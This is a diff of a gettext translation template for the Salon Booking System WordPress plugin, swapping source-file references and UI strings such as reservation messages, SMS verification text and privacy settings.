\"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:15, views\u002Fsettings\u002Ftab_general.php:530, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:530, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:530\n-msgid \"Administration rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:148\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:198\n+msgid \"Group by.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:16, views\u002Fsettings\u002F_tab_general_pages.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_pages.php:8\n-msgid \"Salon Booking System required pages\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:7\n+msgid \"Hairdresser\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:28\n-msgid \"Your salon name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:44\n+msgid \"Half\"\n msgstr \"\"\n \n-#. translators: %s: the default email address of the site\n-#: views\u002Fsettings\u002Ftab_general.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:32\n-msgid \"Leaving this field empty will cause the default site name \u003Cstrong>(%s)\u003C\u002Fstrong> to be used\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:179\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:179\n+msgid \"half hour\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:43\n-msgid \"Salon contact e-mail\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:84\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:84\n+msgid \"has expired on\"\n msgstr \"\"\n \n-#. translators: %s: the default email address of the site\n-#: views\u002Fsettings\u002Ftab_general.php:47, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:47, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:47, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:47\n-msgid \"Leaving this field empty will cause the default site email  \u003Cstrong>(%s)\u003C\u002Fstrong> to be used\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_rated_content.php:22\n+msgid \"has submitted a new review on his last visit at\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:55, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:55, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:55, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:55\n-msgid \"Salon telephone number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:15\n+msgid \"Here some useful resouces to understand how this plugin works:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:62, src\u002FSLN\u002FHelper\u002FCalendarLink.php:63, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:62, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:62, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:62, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FHelper\u002FCalendarLink.php:63\n-msgid \"Salon address\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fremind.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fpending.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:135\n+msgid \"Hi\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:67\n-msgid \"write your address\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:266\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:266\n+msgid \"\"\n+\"Hi [NAME],\\n\"\n+\"take note of your reservation at [SALON NAME] on [DATE] at [TIME].\\n\"\n+\"See you soon.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:70, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:70, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:70, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:70\n-msgid \"Provide the full address of your Salon\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:274\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:274\n+msgid \"\"\n+\"Hi [NAME],\\n\"\n+\"your reservation at [SALON NAME] on [DATE] at [TIME] has been canceled.\\n\"\n+\"Thank you.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:75, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:75, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:75, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:75\n-msgid \"Upload your logo\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:270\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:270\n+msgid \"\"\n+\"Hi [NAME],\\n\"\n+\"your reservation at [SALON NAME], has been updated.\\n\"\n+\"We've sent you an email with the details.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:82, src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, src\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:301, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:332\n-msgid \"Remove this image\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fverify.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fverify.php:15\n+msgid \"\"\n+\"Hi, \\n\"\n+\"this is your verification code on {salon}: \\n\"\n+\"{code} \\n\"\n+\"Thank you very much. \\n\"\n+\"{salon} \\n\"\n+\"{address} \\n\"\n+\"{phone} \\n\"\n+\"{email}\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:95, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:95, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:95, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:95\n-msgid \"Use a transparent png file\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:279\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettingTabs\u002FGeneralTab.php:279\n+msgid \"Hi, the new reservation at [SALON NAME] on [DATE] at [TIME].\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:105, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:105, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:105, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:105\n-msgid \"Date Format\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:140\n+msgid \"Hidden for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:116, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:116, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:116, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:116\n-msgid \"Time Format\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:608\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:608\n+msgid \"Hide customer email address to assistants\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:127, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:127, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:127, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:127, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:127, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:127\n-msgid \"Select your favourite date and time format. Do you need another format? Send an email to support@wpchef.it\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:612\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:612\n+msgid \"Hide customer telephone number to assistant\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:132, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:132, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:132, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:132\n-msgid \"Start week on\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:135\n+msgid \"Hide from Booking My Account\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:143, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:143, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:143, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:143\n-msgid \"Default Calendar View\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_package_item.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_package_item.php:34\n+msgid \"Hide included services\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:163, 